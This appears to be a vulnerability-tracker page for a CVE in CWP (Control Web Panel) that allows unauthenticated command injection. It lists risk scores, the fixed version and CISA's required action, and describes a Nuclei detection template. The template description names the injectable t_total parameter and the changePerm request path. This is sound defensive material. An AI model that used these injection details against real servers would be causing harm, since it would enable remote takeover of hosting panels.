Detection rule

Nuclei · Suricata

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 2 days before CISA confirmed attacks.

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: control-webpanel webpanel, the_centos_project centos_web_panel.

How to fix it

Fixed versions stated in the CVE record: 0.9.8.1205.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

How to detect it

Nuclei template (active check)

CWP - Command Injection

CWP (aka Control Web Panel or CentOS Web Panel) before 0.9.8.1205 allows unauthenticated remote code execution via shell metacharacters in the t_total parameter in a filemanager changePerm request. A valid non-root username must be known.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (GET /login/index.php, POST /{{username}}/index.php?module=filemanager&acc=changePerm); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
